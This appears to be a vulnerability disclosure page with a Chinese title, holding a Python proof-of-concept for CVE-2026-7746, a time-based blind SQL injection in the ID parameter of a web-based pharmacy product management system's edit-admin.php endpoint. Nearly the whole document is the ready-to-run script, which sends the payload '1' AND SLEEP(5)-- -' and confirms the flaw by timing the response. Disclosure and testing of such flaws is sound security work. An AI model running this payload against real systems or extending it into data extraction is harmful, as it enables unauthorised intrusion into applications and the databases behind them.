SourceCodester药房管理系统SQL注入漏洞 (CVE-2026-7746)

# Proof of Concept for CVE-2026-7746 # Target: SourceCodester Web-based Pharmacy Product Management System 1.0 # Endpoint: /product_expiry/edit-admin.php # Parameter: ID import requests def check_sqli(target_url): # Payload to test for time-based blind SQL injection # If the database pauses for 5 seconds, the application is vulnerable. payload = "1' AND SLEEP(5)-- -" full_url = f"{target_url}/product_expiry/edit-admin.php" params = { "ID": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a delay (SQL Injection) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)